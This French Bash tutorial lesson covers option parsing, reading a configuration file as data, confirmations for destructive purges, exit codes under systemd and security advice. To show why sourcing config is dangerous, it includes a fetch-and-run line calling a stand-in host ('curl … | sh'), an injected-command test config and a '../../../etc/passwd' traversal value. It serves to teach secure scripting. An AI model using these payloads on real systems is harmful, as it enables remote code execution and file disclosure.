La tentation est de l'écrire comme un morceau de shell et de faire source /etc/signalements/publier-export.conf. C'est exécuter le fichier, avec les droits du script : une ligne DESTINATION=$(curl -s https://exemple.invalid/x | sh) ou un simple PATH=/tmp y serait appliqué. On lit donc le fichier comme une donnée :

lire_configuration() {
  local fichier=$1 cle valeur n=0
  [[ -e $fichier ]] || return 0
  [[ -r $fichier ]] || return 1
  while IFS='=' read -r cle valeur || [[ -n $cle ]]; do
    n=$((n + 1))
    [[ $cle =~ ^[[:space:]]*(#|$) ]] && continue
    case $cle in
      DESTINATION) destination=$valeur ;;
      *) avertir "$fichier:$n : clé inconnue « $cle », ignorée" ;;
    esac
  done < "$fichier"
}

La lecture ligne à ligne vient de la leçon 5 :

  • IFS='=' coupe la ligne au premier = : read range le premier champ dans cle et tout le reste, y compris d'éventuels autres =, dans la dernière variable, valeur ;
  • || [[ -n $cle ]] traite une dernière ligne sans saut de ligne final, fréquente dans un fichier édité à la main ;
  • les lignes vides et les commentaires sont sautés ;
  • seules les clés connues sont acceptées, par une liste blanche dans le case. Une clé inconnue produit un avertissement avec le numéro de ligne, ce qui attrape aussi les fautes de frappe (DESTINTATION) ;
  • un fichier absent n'est pas une erreur (les valeurs par défaut s'appliquent), un fichier présent mais illisible en est une : c'est sans doute un problème de droits qu'il faut voir. La fonction renvoie alors 1 et c'est main qui décide d'arrêter le script, selon la règle de la leçon 6 : seul main appelle mourir.

Un essai avec un fichier malveillant :

$ cat essai.conf
# commentaire

DESTINATION=s3://sig-exports-mairie/essai
PATH=/tmp
X=$(touch pirate)
$ PUBLIER_EXPORT_CONFIG=essai.conf ./bin/publier-export -n -d 2026-10-07 > /dev/null
publier-export : attention : essai.conf:4 : clé inconnue « PATH », ignorée
publier-export : attention : essai.conf:5 : clé inconnue « X », ignorée
$ ls pirate
ls: cannot access 'pirate': No such file or directory

Les valeurs sont prises littéralement : pas de guillemets à retirer, pas de $ développé, pas d'espaces supprimées autour du =. Documentez ce format dans l'aide ou en commentaire en tête du fichier.

Assembler l'ordre de priorité

L'ordre de priorité devient l'ordre des lignes, au début de main :

  # 1. Valeurs par défaut, 2. fichier, 3. environnement, 4. options.
  date_export=$(date +%F)
  destination=s3://sig-exports-mairie
  simulation=0
  lire_configuration "$CONFIGURATION" \
    || mourir -c "$EX_ERREUR" "configuration illisible : $CONFIGURATION"
  destination=${PUBLIER_EXPORT_DESTINATION:-$destination}
  analyser_options "$@"

L'expansion ${PUBLIER_EXPORT_DESTINATION:-$destination} (leçon 3) garde la valeur courante si la variable est absente ou vide. analyser_options reçoit "$@", les arguments de main, donc ceux du script ; elle contient la boucle while/case vue plus haut et modifie les variables globales date_export, destination, simulation et VERBEUX.

Le nom de la variable d'environnement porte le préfixe du programme. À la leçon 6, le script acceptait encore DESTINATION et REPERTOIRE_EXPORTS pour faciliter les essais ; une variable d'environnement est héritée par tous les processus enfants, et un nom aussi générique que DESTINATION risquerait d'être défini par un autre outil, ou d'être hérité par erreur d'une session où on l'avait posée pour autre chose. On les remplace par PUBLIER_EXPORT_DESTINATION et PUBLIER_EXPORT_REPERTOIRE.

Le chemin du fichier de configuration lui-même peut être changé par PUBLIER_EXPORT_CONFIG. Avec PUBLIER_EXPORT_REPERTOIRE, cela sert surtout aux tests (leçon 12) : on pointe vers un fichier et un répertoire d'essai sans toucher à /etc ni à /srv.

Confirmer une action destructrice

publier-export ne détruit rien. purger-pieces-jointes, si : il supprime des photos, et une valeur de --jours mal tapée (--jours 3 au lieu de 365) effacerait presque tout. On lui ajoute une confirmation, avec deux règles tirées de clig.dev : ne jamais exiger une réponse interactive, et ne poser la question que s'il y a quelqu'un pour répondre.

confirmer() {
  local reponse
  [[ -t 0 ]] || return 1
  read -r -p "$1 [o/N] " reponse
  [[ $reponse == [oO] || $reponse == [oO][uU][iI] ]]
}

if (( ! oui )) && ! confirmer "Supprimer $nombre fichiers de plus de $jours jours ?"; then
  mourir -c "$EX_USAGE" "abandon : relancez avec --oui pour confirmer sans question"
fi
  • [[ -t 0 ]] vérifie que l'entrée standard est un terminal. Sous systemd ou cron, l'entrée standard est /dev/null : la fonction renvoie 1, la confirmation est refusée, le script s'arrête en expliquant quelle option utiliser.
  • read -p n'affiche l'invite que si l'entrée vient d'un terminal, d'après le manuel de Bash, et l'écrit sur la sortie d'erreur (elle disparaît avec 2>/dev/null, pas avec >/dev/null) : l'invite ne pollue pas une sortie standard redirigée.
  • La réponse par défaut, celle d'une simple touche Entrée, est non (le N majuscule de [o/N] l'annonce).
  • --oui (-y) permet l'usage non interactif, explicitement : l'unité systemd de la purge porte ExecStart=... --oui, et cette option visible dans l'unité dit à qui la lit que la suppression est voulue.
$ ./bin/purger-pieces-jointes --jours 3 < /dev/null
purger-pieces-jointes : erreur : abandon : relancez avec --oui pour confirmer sans question

Combinée à --dry-run, qui liste ce qui serait supprimé, cette confirmation couvre l'essentiel des accidents.

publier-export après cette leçon

Voici le script complet. Il reprend la structure de la leçon 6 (fonctions, main, garde finale) et lui ajoute l'interface ; la gestion fine des erreurs viendra à la leçon 9, le verrou (code 5) à la leçon 10.

#!/usr/bin/env bash
# publier-export : dépose l'export CSV d'une journée dans le bucket de la mairie.
# État après la leçon 8 : interface complète ; set -euo pipefail viendra à la leçon 9, le verrou à la leçon 10.

REP_OUTILS=$(dirname -- "$(readlink -f -- "${BASH_SOURCE[0]}")")/..
# shellcheck source=../lib/commun.sh
source "$REP_OUTILS/lib/commun.sh" || {
  printf 'publier-export : impossible de charger lib/commun.sh\n' >&2
  exit 1
}

readonly VERSION=1.2.0
readonly EX_OK=0 EX_ERREUR=1 EX_USAGE=2 EX_EXPORT=3 EX_DEPOT=4 EX_VERROU=5
readonly CONFIGURATION=${PUBLIER_EXPORT_CONFIG:-/etc/signalements/publier-export.conf}
readonly REPERTOIRE_EXPORTS=${PUBLIER_EXPORT_REPERTOIRE:-/srv/donnees/exports}
readonly POINT_ACCES=https://s3.fr-par.scw.cloud
readonly ENTETE_ATTENDUE='id,type,commune,date'

usage() {
  cat <<FIN
Usage : $NOM_OUTIL [OPTIONS]

Dépose l'export CSV d'une journée dans le bucket de la mairie,
avec son empreinte SHA-256.

Options :
  -d, --date AAAA-MM-JJ     journée à publier (défaut : aujourd'hui)
      --destination URL     préfixe S3 (défaut : $destination)
  -n, --dry-run             afficher les commandes, sans rien modifier
  -v, --verbeux             messages détaillés sur la sortie d'erreur
  -h, --help                afficher cette aide et sortir
      --version             afficher la version et sortir

Configuration : $CONFIGURATION (CLE=valeur : DESTINATION)
Environnement : PUBLIER_EXPORT_DESTINATION remplace la configuration.

Codes de sortie :
  0 succès                          3 export introuvable ou invalide
  1 erreur générale                 4 échec du dépôt
  2 mauvaise utilisation            5 une autre exécution est en cours

Exemple :
  $NOM_OUTIL --date 2026-10-07 --dry-run
FIN
}

erreur_usage() {
  printf '%s : %s\n' "$NOM_OUTIL" "$*" >&2
  printf "Essayez « %s --help » pour plus d'informations.\n" "$NOM_OUTIL" >&2
  exit "$EX_USAGE"
}

exiger_valeur() {
  (( $2 >= 2 )) || erreur_usage "l'option $1 attend une valeur"
}

lire_configuration() {
  local fichier=$1 cle valeur n=0
  [[ -e $fichier ]] || return 0
  [[ -r $fichier ]] || return 1
  while IFS='=' read -r cle valeur || [[ -n $cle ]]; do
    n=$((n + 1))
    [[ $cle =~ ^[[:space:]]*(#|$) ]] && continue
    case $cle in
      DESTINATION) destination=$valeur ;;
      *) avertir "$fichier:$n : clé inconnue « $cle », ignorée" ;;
    esac
  done < "$fichier"
}

analyser_options() {
  while (( $# > 0 )); do
    case $1 in
      -h|--help)        usage; exit "$EX_OK" ;;
      --version)        printf '%s %s\n' "$NOM_OUTIL" "$VERSION"; exit "$EX_OK" ;;
      -n|--dry-run)     simulation=1 ;;
      -v|--verbeux)     VERBEUX=1 ;;
      -d|--date)        exiger_valeur "$1" "$#"; date_export=$2; shift ;;
      --date=*)         date_export=${1#*=} ;;
      -d?*)             date_export=${1#-d} ;;
      --destination)    exiger_valeur "$1" "$#"; destination=$2; shift ;;
      --destination=*)  destination=${1#*=} ;;
      -[nvh]?*)         set -- "${1:0:2}" "-${1:2}" "${@:2}"; continue ;;
      --)               shift; break ;;
      -?*)              erreur_usage "option inconnue : $1" ;;
      *)                break ;;
    esac
    shift
  done
  (( $# == 0 )) || erreur_usage "argument inattendu : $1"
}

valider_parametres() {
  [[ $date_export =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}$ ]] \
    || erreur_usage "date invalide : « $date_export » (attendu : AAAA-MM-JJ)"
  date -d "$date_export" +%F > /dev/null 2>&1 \
    || erreur_usage "date inexistante : $date_export"
  [[ $destination =~ ^s3://[a-z0-9][a-z0-9.-]*(/.*)?$ ]] \
    || erreur_usage "destination invalide : « $destination » (attendu : s3://bucket/...)"
  destination=${destination%/}
}

executer() {
  if (( simulation )); then
    printf '%q ' "$@"
    printf '\n'
  else
    deboguer "exécution : $*"
    "$@"
  fi
}

# verifier_export FICHIER : comme à la leçon 6.
verifier_export() {
  local fichier=$1 entete lignes
  if [[ ! -f $fichier ]]; then
    avertir "export introuvable : $fichier"
    return 1
  fi
  if [[ ! -s $fichier ]]; then
    avertir "export vide : $fichier"
    return 1
  fi
  IFS= read -r entete < "$fichier"
  if [[ ${entete%$'\r'} != "$ENTETE_ATTENDUE" ]]; then
    avertir "en-tête inattendu : $entete"
    return 1
  fi
  lignes=$(wc -l < "$fichier")
  if (( lignes < 2 )); then
    avertir "aucune ligne de données dans $fichier"
    return 1
  fi
  deboguer "$fichier : lignes de données : $((lignes - 1))"
}

# ecrire_empreinte ARCHIVE : écrit ARCHIVE.sha256, avec le seul nom du fichier.
ecrire_empreinte() {
  (cd -- "${1%/*}" && sha256sum -- "${1##*/}" > "${1##*/}.sha256")
}

compresser() {
  executer gzip --keep --force -- "$1" &&
    executer ecrire_empreinte "$1.gz"
}

deposer() {
  local fichier
  for fichier in "$csv.gz" "$csv.gz.sha256"; do
    executer "${aws_s3[@]}" "$fichier" "$destination/$annee/$mois/" || return 1
  done
}

main() {
  # 1. Valeurs par défaut, 2. fichier, 3. environnement, 4. options.
  date_export=$(date +%F)
  destination=s3://sig-exports-mairie
  simulation=0
  lire_configuration "$CONFIGURATION" \
    || mourir -c "$EX_ERREUR" "configuration illisible : $CONFIGURATION"
  destination=${PUBLIER_EXPORT_DESTINATION:-$destination}
  analyser_options "$@"
  valider_parametres

  exiger gzip sha256sum
  (( simulation )) || exiger aws

  csv=$REPERTOIRE_EXPORTS/signalements-$date_export.csv
  annee=${date_export:0:4} mois=${date_export:5:2}
  aws_s3=(aws s3 cp --only-show-errors --endpoint-url "$POINT_ACCES")
  deboguer "date $date_export, destination $destination, simulation $simulation"

  verifier_export "$csv" || mourir -c "$EX_EXPORT" "export invalide, rien n'est publié"
  compresser "$csv" || mourir -c "$EX_ERREUR" "compression impossible : $csv"
  deposer || mourir -c "$EX_DEPOT" "échec du dépôt vers $destination/$annee/$mois/"

  if (( simulation )); then
    journaliser "simulation : rien n'a été modifié"
  else
    journaliser "export du $date_export publié dans $destination/$annee/$mois/"
  fi
}

if [[ ${BASH_SOURCE[0]} == "$0" ]]; then
  main "$@"
  exit
fi

Quelques détails :

  • REP_OUTILS=$(...) reste une affectation simple, sans readonly sur la même ligne : un readonly ou un local combiné à une substitution de commande masque le code de sortie de celle-ci, piège que la leçon 9 détaille. Les readonly qui suivent ne contiennent que des expansions de paramètres, sans substitution.
  • erreur_usage et mourir sont les deux seules fonctions qui terminent le script. erreur_usage est appelée pendant l'analyse, avant toute action, ce qui ne contredit pas la règle de la leçon 6 : elle fait partie de l'interface, pas du traitement.
  • aws n'est exigé qu'en exécution réelle : une simulation doit pouvoir tourner sur un poste où l'outil n'est pas installé.
  • La version passe à 1.2.0 : l'interface change, mais les appels existants (sans argument, depuis le minuteur) continuent de fonctionner.

Pour l'essayer, reprenez le faux aws et le répertoire d'essai de la leçon 6, avec les nouveaux noms de variables :

$ export HORODATER=0 PATH="$PWD/faux:$PATH"
$ export PUBLIER_EXPORT_REPERTOIRE=$PWD/exports PUBLIER_EXPORT_CONFIG=/dev/null
$ bin/publier-export -d 2026-10-06; echo "code=$?"
publier-export : attention : export introuvable : /home/vous/essais/exports/signalements-2026-10-06.csv
publier-export : erreur : export invalide, rien n'est publié
code=3
$ bin/publier-export --dry; echo "code=$?"
publier-export : option inconnue : --dry
Essayez « publier-export --help » pour plus d'informations.
code=2
$ bin/publier-export --version
publier-export 1.2.0

Sous le capot

Ce que le noyau transmet

Quand le minuteur lance /opt/signalements/bin/publier-export --date 2026-10-07, systemd appelle execve(2) avec un tableau de chaînes, argv, terminé par un pointeur nul :

argv[0] = "/opt/signalements/bin/publier-export"
argv[1] = "--date"
argv[2] = "2026-10-07"
argv[3] = NULL

Le fichier commence par #!/usr/bin/env bash : le noyau (leçon 1) lance en réalité /usr/bin/env avec les arguments bash, le chemin du script, puis les arguments d'origine à partir de argv[1]. env trouve bash dans le PATH et l'exécute ; Bash ouvre le script, range son chemin dans $0 et le reste dans $1, $2. Aucune notion d'option n'a traversé cette chaîne : seulement des chaînes, sans guillemets. C'est pourquoi un script ne peut jamais savoir si l'appelant avait écrit 'essai mairie' ou essai\ mairie : les deux donnent la même chaîne.

Ce tableau a des limites. D'après execve(2), sous Linux, la taille totale des arguments et de l'environnement est bornée au quart de la limite de pile (ulimit -s, 8 Mio par défaut, d'où les 2 Mio que renvoie getconf ARG_MAX), et chaque chaîne est limitée à 32 pages (128 Kio avec des pages de 4 Kio). Au-delà, execve échoue avec E2BIG, que le shell affiche comme Argument list too long. Ce n'est pas un souci pour quelques options, mais c'en est un pour rm /srv/donnees/pieces-jointes/* sur cent mille fichiers : la leçon 5 et la leçon 11 passent par find et xargs pour cette raison.

Les arguments sont publics

Le noyau garde une copie de argv dans la mémoire du processus, et l'expose dans /proc/<pid>/cmdline, que la page proc_pid_cmdline(5) décrit comme une suite de chaînes séparées par des octets nuls. Par défaut, ce fichier est lisible par tous les comptes de la machine : c'est là que ps et top lisent les lignes de commande.

$ cat essai-cmdline.sh
sleep 1 &
tr '\0' ' ' < /proc/$$/cmdline; echo
wait
$ bash essai-cmdline.sh --cle-api=s3cr3t
bash essai-cmdline.sh --cle-api=s3cr3t

Un mot de passe passé en option est donc visible de tout compte local pendant toute la durée du script, et il est aussi écrit dans l'historique du shell de l'appelant et, pour un service, dans l'unité systemd et le journal (systemctl status affiche la ligne de commande). Le montage de /proc avec l'option hidepid= restreint cette visibilité, mais ne corrige pas l'historique ni le journal. La section Sécurité en tire les conséquences.

Ce que retient getopts entre deux appels

getopts n'a pas de mémoire visible autre qu'OPTIND. Pourtant, il sait reprendre au milieu d'un groupe comme -nv. Observons OPTIND à chaque tour :

$ cat essai-optind.sh
while getopts ':nvd:' o; do echo "o=$o OPTARG=${OPTARG-} OPTIND=$OPTIND"; done
$ bash essai-optind.sh -nv -d 2026-10-07 reste
o=n OPTARG= OPTIND=1
o=v OPTARG= OPTIND=2
o=d OPTARG=2026-10-07 OPTIND=4

Après -n, OPTIND vaut encore 1 : le premier argument n'est pas fini. Bash garde, dans une variable interne, la position dans l'argument courant. Après -v, l'argument est épuisé et OPTIND passe à 2. Après -d, qui a consommé sa valeur, il saute à 4, l'indice de reste. D'où le shift "$((OPTIND - 1))" : il retire les trois arguments déjà traités. Et d'où le piège des fonctions : tant que personne ne remet OPTIND à 1, getopts croit avoir déjà tout lu. Affecter OPTIND=1 réinitialise aussi la position interne ; c'est la manière documentée de recommencer.

Le code de sortie, un octet

Quand un processus se termine, le noyau ne conserve pour son parent que l'octet de poids faible de la valeur passée à exit : c'est ce que waitpid(2) restitue par WEXITSTATUS. D'où le modulo 256 :

$ for c in 256 300 -1; do bash -c "exit $c"; echo "exit $c donne $?"; done
exit 256 donne 0
exit 300 donne 44
exit -1 donne 255

Un script qui calcule son code (exit $nombre_erreurs) peut donc renvoyer 0 après 256 erreurs. Ne renvoyez que des constantes.

Quand le processus est tué par un signal, il n'y a pas de code de sortie du tout ; c'est le shell qui fabrique 128 + N pour l'afficher dans $?. systemd, lui, distingue les deux cas (status=143 contre signal=TERM) dans systemctl status.

Pièges courants

$10 au lieu de ${10}. Vaut $1 suivi de 0. ShellCheck le signale (SC1037).

Un shift de trop. shift 2 quand il ne reste qu'un argument ne fait rien et renvoie 1 : la boucle peut tourner sans fin sur la même option. Vérifiez $# avant de lire une valeur.

getopts et les options longues. --date=x n'est pas refusée, elle est découpée en - et -d avec la valeur ate=x. Ne mélangez pas getopts avec des options longues.

OPTIND dans une fonction. Sans local OPTIND=1, le second appel ne voit aucune option.

Les options après un opérande. getopts et la boucle de cette leçon s'arrêtent au premier opérande : publier-export reste -n ne simule pas. Documentez-le, ou accumulez les opérandes dans un tableau pour continuer.

Une valeur qui ressemble à une option. -d -n affecte -n à la date. Ce n'est pas un défaut de l'analyse (une valeur peut légitimement commencer par un tiret) : c'est la validation qui doit le rattraper.

L'aide sur la sortie d'erreur, ou l'erreur sur la sortie standard. --help demandé : stdout, code 0. Erreur d'usage : stderr, code 2. L'inverse casse --help | less et cache les erreurs dans les tubes.

Un code de sortie calculé. exit $erreurs renvoie 0 pour 256 erreurs. exit 300 renvoie 44.

La confirmation qui bloque un service. Un read sans test de terminal lit /dev/null sous systemd : réponse vide. Si la réponse vide vaut « oui », la purge part sans confirmation ; si read lisait un tube jamais fermé, le service resterait suspendu jusqu'à son délai. Testez [[ -t 0 ]] et refusez par défaut.

source d'un fichier de configuration. C'est exécuter du code. Une faute de syntaxe y fait échouer le script, une ligne malveillante s'exécute avec ses droits.

Des espaces autour du =. Avec la lecture de cette leçon, DESTINATION = s3://x donne une clé DESTINATION (avec espace), inconnue, donc un avertissement. C'est voulu, mais documentez le format.

Oublier le -c de mourir. mourir "$EX_DEPOT" "échec du dépôt" ne sort pas avec 4 : sans -c, tous les arguments forment le message (erreur : 4 échec du dépôt) et le code est 1. Le message trahit l'erreur dans le journal, mais SuccessExitStatus= et les alertes qui comptent sur le code ne voient qu'une erreur générale. Un test par code de sortie (leçon 12) l'attrape.

Le ? non échappé dans le case de getopts. ?) correspond à toute option d'un caractère : écrivez \?) ou '?').

Sécurité

  • Aucun secret en argument. Les arguments sont lisibles par tous dans /proc/<pid>/cmdline et ps, conservés dans l'historique du shell, dans les unités systemd et leurs journaux, dans les traces de CI. clig.dev le dit sans détour : ne pas lire de secret depuis une option. Un script qui a besoin d'une clé d'API la lit dans un fichier aux droits restreints (--fichier-cle /etc/signalements/s3.cle, en 0600), sur l'entrée standard, ou par les credentials de systemd (LoadCredential=, qui place le fichier dans $CREDENTIALS_DIRECTORY). Les variables d'environnement valent mieux qu'une option, mais elles sont héritées par tous les processus enfants et visibles dans /proc/<pid>/environ du même compte : clig.dev les déconseille aussi pour les secrets.
  • Valider chaque valeur avant de s'en servir. La date de publier-export sert à construire un chemin : sans l'expression régulière, --date ../../../etc/passwd ferait lire un tout autre fichier. Validez par liste blanche (une forme attendue), pas par liste noire (des caractères interdits), et faites-le avant toute action.
  • Ne jamais exécuter la configuration. Pas de source sur un fichier qu'un autre compte peut modifier, ni d'eval sur une valeur. Si vous devez vraiment source un fichier (configuration écrite par vous seul), vérifiez qu'il appartient à root et n'est pas modifiable par d'autres (stat -c '%U %a'), et documentez-le.
  • eval seulement sur la sortie de getopt. C'est l'exception, parce que getopt cite sa sortie. Toute autre construction à base d'eval sur des arguments est une injection de commande en attente.
  • -- avant des valeurs venues de l'utilisateur. Quand le script passe une valeur à une autre commande (rm -- "$fichier", grep -- "$motif"), le -- empêche qu'une valeur commençant par un tiret soit prise pour une option de cette commande (leçon 2).
  • Les destructions exigent une intention explicite. --oui dans l'unité, confirmation interactive sinon, refus par défaut. Une option qui affaiblit une protection (--force, --oui) n'a pas de forme courte facile à taper par erreur, ou alors une forme distincte.
  • Les variables d'environnement du script font partie de sa surface. PUBLIER_EXPORT_DESTINATION change le bucket de destination ; sous sudo, l'environnement est filtré par env_reset (leçon 7 de Premiers pas), mais un script lancé par un autre compte hérite du sien. Validez la valeur comme une option.

En production

  • L'unité systemd écrit les options en entier. ExecStart=/opt/signalements/bin/publier-export --verbeux se lit sans manuel ; -v oblige à chercher. Les formes courtes sont pour le clavier, les longues pour les fichiers.
  • Les codes de sortie guident la réaction. systemd considère tout code non nul comme un échec et déclenche OnFailure= (leçon 10 du cours d'administration). Un code qui ne mérite pas d'alerte peut être déclaré comme succès : SuccessExitStatus=5 dans [Service] fait accepter le code 5 (« une autre exécution est en cours ») sans réveiller l'astreinte. Le service de notification déclenché par OnFailure= reçoit le code dans la variable $MONITOR_EXIT_STATUS (systemd.exec(5)), et peut adapter son message : « export absent » pour 3, « dépôt en échec » pour 4. Attention aux noms que systemd affiche à côté des codes. Dans le journal, le message de fin du processus nomme les petits codes d'après la convention LSB des scripts d'init : Main process exited, code=exited, status=3/NOTIMPLEMENTED, status=4/NOPERMISSION, status=2/INVALIDARGUMENT ; les codes 64 à 78 y reçoivent leur nom de sysexits.h (status=64/USAGE). La ligne Main PID: de systemctl status, elle, n'affiche que status=3. Ces noms ne disent rien de votre table : c'est le message de mourir, dans le journal, qui fait foi.
  • Une interface commune à tous les scripts de l'équipe. -n/--dry-run, -v/--verbeux, -h/--help, --version, --oui pour les destructions, codes 0, 1 et 2 identiques : la personne d'astreinte n'a qu'une grammaire à connaître. Les fonctions d'interface (erreur_usage, exiger_valeur, executer, confirmer) rejoindront lib/commun.sh dès qu'un deuxième script en aura besoin, comme journaliser à la leçon 6.
  • L'aide est le contrat, les tests le vérifient. Changer le sens d'une option ou d'un code de sortie casse les unités, les alertes, les autres scripts. On le traite comme un changement d'API : nouvelle version majeure, note dans le journal des changements du dépôt. La leçon 12 écrit des tests Bats sur chaque code de sortie.
  • La simulation en intégration continue. publier-export --dry-run avec un faux répertoire d'exports et un faux fichier de configuration permet de tester toute la logique sans bucket, et de comparer la liste des commandes à une référence.
  • Savoir s'arrêter. Quand l'interface demande des sous-commandes (signalements export publier, signalements export lister), des options mutuellement exclusives, des valeurs typées ou une aide générée, l'analyse en Bash devient le plus gros morceau du script. C'est le signal pour passer à Python et argparse, ou à Go ; les critères sont détaillés à la leçon 12.

Exercices

1. Lire les paramètres (niveau 100). Un script contient printf '%s|%s|%s|%s\n' "$#" "$1" "${10}" "$10". Qu'affiche-t-il quand on le lance avec ./s un "deux trois" 3 4 5 6 7 8 9 dix onze ? Et après un shift 2 placé avant le printf ?

Solution

Sans shift : 11|un|dix|un0. Il y a onze arguments, "deux trois" en est un seul grâce aux guillemets ; ${10} est dix ; $10 est $1 suivi de 0, donc un0.

Avec shift 2 : 9|3|<vide>|30. Les deux premiers sont retirés, il en reste neuf ; $1 vaut 3 ; il n'y a plus de dixième argument, ${10} est vide ; $10 vaut 30.

2. getopts pour verifier-sante (niveau 100). verifier-sante doit accepter -t SECONDES (délai, 5 par défaut), -q (silencieux) et -h, puis une liste d'hôtes en opérandes (sig-app-1 sig-app-2 par défaut). Écrivez la boucle getopts en mode silencieux, avec un message en français et le code 2 pour une option inconnue ou une valeur manquante.

Solution
delai=5 silencieux=0
while getopts ':t:qh' option; do
  case $option in
    t)  delai=$OPTARG ;;
    q)  silencieux=1 ;;
    h)  usage; exit 0 ;;
    :)  printf "%s : l'option -%s attend une valeur\n" "$NOM_OUTIL" "$OPTARG" >&2; exit 2 ;;
    \?) printf '%s : option inconnue : -%s\n' "$NOM_OUTIL" "$OPTARG" >&2; exit 2 ;;
  esac
done
shift "$((OPTIND - 1))"
[[ $delai =~ ^[1-9][0-9]*$ ]] || { printf '%s : délai invalide : %s\n' "$NOM_OUTIL" "$delai" >&2; exit 2; }
if (( $# == 0 )); then
  set -- sig-app-1 sig-app-2
fi

Le : initial active le mode silencieux, t: déclare la valeur. Le set -- final remplace les opérandes absents par la liste par défaut, ce qui permet d'écrire ensuite une seule boucle for hote in "$@". Le message de la branche : est plus lisible avec erreur_usage de la leçon, s'il est disponible : erreur_usage "l'option -$OPTARG attend une valeur".

3. Trouver les défauts (niveau 200). Voici l'analyse des options d'un ancien script de déploiement. Trouvez au moins cinq défauts et corrigez-les.

while [ -n "$1" ]; do
  case $1 in
    -e|--env) ENV=$2; shift 2 ;;
    --env=*)  ENV=${1#*=} ;;
    -f)       FORCE=1 ;;
    -h)       echo "usage: deployer [-e env] [-f]" >&2; exit 1 ;;
    *)        echo "option inconnue" ;;
  esac
  shift
done
Solution
  1. while [ -n "$1" ] s'arrête sur un argument vide (deployer "" -f), ce qui n'est pas la fin des arguments : testez (( $# > 0 )).
  2. shift 2 puis shift : la branche -e retire trois arguments. Et si la valeur manque, shift 2 échoue sans rien retirer, puis le shift du bas retire -e : ENV est vide sans erreur. Écrivez exiger_valeur "$1" "$#"; ENV=$2; shift.
  3. L'aide va sur la sortie d'erreur avec le code 1 : elle doit aller sur la sortie standard avec 0. --help n'est pas reconnu.
  4. L'option inconnue affiche un message sur la sortie standard, sans nom de programme ni valeur, puis continue : le script se déploie avec une option ignorée (un --dry-run mal orthographié, par exemple). Sortez avec 2 sur stderr.
  5. Pas de --, pas de gestion des opérandes : *) traite comme option inconnue tout opérande.
  6. Aucune validation de ENV (liste blanche : recette|production), alors que la valeur sert probablement à choisir des machines ou un fichier.
  7. -f sans forme longue pour une option qui affaiblit une protection : préférez --force seule, visible dans les unités et l'historique.
  8. Variables en majuscules pour un usage interne : risque de collision avec l'environnement (ENV est justement lue par certains shells au démarrage).

4. Une interface pour la purge (niveau 200). Donnez à purger-pieces-jointes les options -j/--jours N (365 par défaut, entier de 30 à 3650), -n/--dry-run, -y/--oui, -h/--help. La valeur de --jours peut aussi venir de RETENTION_JOURS dans /etc/signalements/purge.conf. Sans --oui, le script demande confirmation s'il y a un terminal, et refuse sinon. Écrivez l'analyse, la lecture de configuration et la confirmation, puis indiquez la ligne ExecStart= de l'unité systemd.

Solution
jours=365 simulation=0 oui=0
lire_configuration /etc/signalements/purge.conf     # comme dans la leçon, clé RETENTION_JOURS -> jours

while (( $# > 0 )); do
  case $1 in
    -h|--help)    usage; exit 0 ;;
    -n|--dry-run) simulation=1 ;;
    -y|--oui)     oui=1 ;;
    -j|--jours)   exiger_valeur "$1" "$#"; jours=$2; shift ;;
    --jours=*)    jours=${1#*=} ;;
    -j?*)         jours=${1#-j} ;;
    -[nyh]?*)     set -- "${1:0:2}" "-${1:2}" "${@:2}"; continue ;;
    --)           shift; break ;;
    -?*)          erreur_usage "option inconnue : $1" ;;
    *)            break ;;
  esac
  shift
done
(( $# == 0 )) || erreur_usage "argument inattendu : $1"
if ! [[ $jours =~ ^[0-9]+$ ]] || (( 10#$jours < 30 || 10#$jours > 3650 )); then
  erreur_usage "--jours attend un entier entre 30 et 3650, pas « $jours »"
fi
jours=$((10#$jours))

# ... calcul de la liste des fichiers, $nombre ...
if (( ! simulation && ! oui )) && ! confirmer "Supprimer $nombre fichiers de plus de $jours jours ?"; then
  mourir -c 2 "abandon : relancez avec --oui pour confirmer sans question"
fi

L'expression régulière est testée avant l'arithmétique : (( )) sur une chaîne arbitraire l'évaluerait comme une expression (leçon 3). Le 10# évite qu'une valeur comme 0400 soit lue en octal. La borne basse de 30 jours rend impossible la faute de frappe --jours 3. En simulation, on ne demande pas de confirmation : rien n'est supprimé. L'unité : ExecStart=/opt/signalements/bin/purger-pieces-jointes --oui, la durée venant du fichier de configuration, ou --jours 365 --oui si l'on préfère la voir dans l'unité.

5. Codes de sortie et systemd (niveau 200). L'unité signalements-publication.service lance publier-export --verbeux chaque nuit, avec OnFailure=notifier-echec@%n.service. L'équipe veut : pas d'alerte quand une autre exécution est en cours (code 5) ; une alerte quand l'export est absent (3) ou que le dépôt échoue (4) ; et savoir, en lisant systemctl status, quel cas s'est produit. Que mettez-vous dans l'unité et dans le script ? Que se passerait-il si le script terminait par exit $erreurs, le nombre de fichiers non déposés ?

Solution

Dans [Service] : SuccessExitStatus=5. D'après systemd.service(5), les codes listés sont considérés comme une terminaison réussie, en plus de 0 ; OnFailure= n'est donc pas déclenché pour 5, mais l'est pour 3 et 4. Le journal de l'unité contient Main process exited, code=exited, status=3/NOTIMPLEMENTED ou status=4/NOPERMISSION (noms LSB que systemd donne à ces nombres, sans rapport avec votre table ; la ligne Main PID: de systemctl status n'affiche que le nombre), le service de notification reçoit le nombre dans $MONITOR_EXIT_STATUS, et le message de mourir (« export introuvable ou vide : ... ») est dans le journal de l'unité, puisque la sortie d'erreur y va. Côté script, rien à changer, sinon s'assurer que chaque cas sort avec sa constante (mourir -c "$EX_EXPORT" ...).

Avec exit $erreurs : 0 erreur donne bien 0, mais deux fichiers non déposés donnent 2, confondu avec une erreur d'usage, et 256 erreurs donneraient 0, un succès. Un code de sortie doit être une constante documentée, jamais un compteur ; le compteur va dans un message.

Récapitulatif

  • Un script reçoit une liste de chaînes : $0, $1... ${10}, $#, "$@". shift les consomme, set -- les remplace ; vérifiez $# avant de lire une valeur.
  • POSIX : options d'une lettre, groupables, avant les opérandes, -- pour terminer. GNU ajoute --long et --long=valeur.
  • getopts : interne et portable, options courtes seulement ; mode silencieux (: initial) pour écrire ses messages ; shift "$((OPTIND - 1))" après la boucle ; local OPTIND=1 dans une fonction ; il découpe --date=x au lieu de le refuser.
  • La boucle while (( $# > 0 )); case $1 in : options longues et courtes, --opt valeur, --opt=valeur, groupes réécrits par set --, --, inconnue = erreur d'usage. C'est le choix par défaut pour un outil d'équipe.
  • getopt d'util-linux : options longues et réordonnancement, au prix d'eval, d'abréviations et de la portabilité.
  • Valider chaque valeur après l'analyse, par liste blanche ; une valeur invalide est une erreur d'usage.
